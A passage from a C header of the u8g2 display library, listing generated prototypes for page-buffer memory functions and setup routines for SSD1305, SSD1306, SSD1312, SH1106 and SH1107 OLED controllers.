*u8g2_m_13_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_13_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_13_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_8_6_1(uint8_t *page_cnt); uint8_t *u8g2_m_8_6_2(uint8_t *page_cnt); uint8_t *u8g2_m_8_6_f(uint8_t *page_cnt); uint8_t *u8g2_m_6_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_6_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_6_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_12_2_1(uint8_t *page_cnt); uint8_t *u8g2_m_12_2_2(uint8_t *page_cnt); uint8_t *u8g2_m_12_2_f(uint8_t *page_cnt); uint8_t *u8g2_m_12_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_12_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_12_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_16_12_1(uint8_t *page_cnt); uint8_t *u8g2_m_16_12_2(uint8_t *page_cnt); uint8_t *u8g2_m_16_12_f(uint8_t *page_cnt); uint8_t *u8g2_m_32_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_32_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_32_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_12_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_12_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_12_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_16_5_1(uint8_t *page_cnt); uint8_t *u8g2_m_16_5_2(uint8_t *page_cnt); uint8_t *u8g2_m_16_5_f(uint8_t *page_cnt); uint8_t *u8g2_m_18_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_18_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_18_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_24_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_24_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_24_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_50_30_1(uint8_t *page_cnt); uint8_t *u8g2_m_50_30_2(uint8_t *page_cnt); uint8_t *u8g2_m_50_30_f(uint8_t *page_cnt); uint8_t *u8g2_m_18_21_1(uint8_t *page_cnt); uint8_t *u8g2_m_18_21_2(uint8_t *page_cnt); uint8_t *u8g2_m_18_21_f(uint8_t *page_cnt); uint8_t *u8g2_m_11_6_1(uint8_t *page_cnt); uint8_t *u8g2_m_11_6_2(uint8_t *page_cnt); uint8_t *u8g2_m_11_6_f(uint8_t *page_cnt); uint8_t *u8g2_m_12_9_1(uint8_t *page_cnt); uint8_t *u8g2_m_12_9_2(uint8_t *page_cnt); uint8_t *u8g2_m_12_9_f(uint8_t *page_cnt); uint8_t *u8g2_m_24_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_24_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_24_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_30_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_30_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_30_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_30_15_1(uint8_t *page_cnt); uint8_t *u8g2_m_30_15_2(uint8_t *page_cnt); uint8_t *u8g2_m_30_15_f(uint8_t *page_cnt); uint8_t *u8g2_m_30_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_30_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_30_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_24_12_1(uint8_t *page_cnt); uint8_t *u8g2_m_24_12_2(uint8_t *page_cnt); uint8_t *u8g2_m_24_12_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_13_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_13_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_13_f(uint8_t *page_cnt); uint8_t *u8g2_m_30_20_1(uint8_t *page_cnt); uint8_t *u8g2_m_30_20_2(uint8_t *page_cnt); uint8_t *u8g2_m_30_20_f(uint8_t *page_cnt); uint8_t *u8g2_m_32_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_32_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_32_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_40_30_1(uint8_t *page_cnt); uint8_t *u8g2_m_40_30_2(uint8_t *page_cnt); uint8_t *u8g2_m_40_30_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_17_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_17_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_17_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_17_8_1(uint8_t *page_cnt); uint8_t *u8g2_m_17_8_2(uint8_t *page_cnt); uint8_t *u8g2_m_17_8_f(uint8_t *page_cnt); uint8_t *u8g2_m_48_17_1(uint8_t *page_cnt); uint8_t *u8g2_m_48_17_2(uint8_t *page_cnt); uint8_t *u8g2_m_48_17_f(uint8_t *page_cnt); uint8_t *u8g2_m_48_20_1(uint8_t *page_cnt); uint8_t *u8g2_m_48_20_2(uint8_t *page_cnt); uint8_t *u8g2_m_48_20_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_12_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_12_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_12_f(uint8_t *page_cnt); uint8_t *u8g2_m_32_20_1(uint8_t *page_cnt); uint8_t *u8g2_m_32_20_2(uint8_t *page_cnt); uint8_t *u8g2_m_32_20_f(uint8_t *page_cnt); uint8_t *u8g2_m_22_13_1(uint8_t *page_cnt); uint8_t *u8g2_m_22_13_2(uint8_t *page_cnt); uint8_t *u8g2_m_22_13_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_10_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_10_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_10_f(uint8_t *page_cnt); uint8_t *u8g2_m_19_4_1(uint8_t *page_cnt); uint8_t *u8g2_m_19_4_2(uint8_t *page_cnt); uint8_t *u8g2_m_19_4_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_17_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_17_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_17_f(uint8_t *page_cnt); uint8_t *u8g2_m_26_5_1(uint8_t *page_cnt); uint8_t *u8g2_m_26_5_2(uint8_t *page_cnt); uint8_t *u8g2_m_26_5_f(uint8_t *page_cnt); uint8_t *u8g2_m_22_9_1(uint8_t *page_cnt); uint8_t *u8g2_m_22_9_2(uint8_t *page_cnt); uint8_t *u8g2_m_22_9_f(uint8_t *page_cnt); uint8_t *u8g2_m_25_25_1(uint8_t *page_cnt); uint8_t *u8g2_m_25_25_2(uint8_t *page_cnt); uint8_t *u8g2_m_25_25_f(uint8_t *page_cnt); uint8_t *u8g2_m_37_16_1(uint8_t *page_cnt); uint8_t *u8g2_m_37_16_2(uint8_t *page_cnt); uint8_t *u8g2_m_37_16_f(uint8_t *page_cnt); uint8_t *u8g2_m_40_25_1(uint8_t *page_cnt); uint8_t *u8g2_m_40_25_2(uint8_t *page_cnt); uint8_t *u8g2_m_40_25_f(uint8_t *page_cnt); uint8_t *u8g2_m_8_1_1(uint8_t *page_cnt); uint8_t *u8g2_m_8_1_2(uint8_t *page_cnt); uint8_t *u8g2_m_8_1_f(uint8_t *page_cnt); uint8_t *u8g2_m_4_1_1(uint8_t *page_cnt); uint8_t *u8g2_m_4_1_2(uint8_t *page_cnt); uint8_t *u8g2_m_4_1_f(uint8_t *page_cnt); uint8_t *u8g2_m_1_1_1(uint8_t *page_cnt); uint8_t *u8g2_m_1_1_2(uint8_t *page_cnt); uint8_t *u8g2_m_1_1_f(uint8_t *page_cnt); uint8_t *u8g2_m_20_2_1(uint8_t *page_cnt); uint8_t *u8g2_m_20_2_2(uint8_t *page_cnt); uint8_t *u8g2_m_20_2_f(uint8_t *page_cnt); uint8_t *u8g2_m_32_7_1(uint8_t *page_cnt); uint8_t *u8g2_m_32_7_2(uint8_t *page_cnt); uint8_t *u8g2_m_32_7_f(uint8_t *page_cnt); uint8_t *u8g2_m_48_30_1(uint8_t *page_cnt); uint8_t *u8g2_m_48_30_2(uint8_t *page_cnt); uint8_t *u8g2_m_48_30_f(uint8_t *page_cnt); /* u8g2_d_memory.c generated code end */ /*==========================================*/ /* u8g2_d_setup.c generated code start */ void u8g2_Setup_ssd1305_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1305_i2c_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_2040x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_2040x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_2040x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1312_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1312_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1312_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1312_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1312_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1312_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void 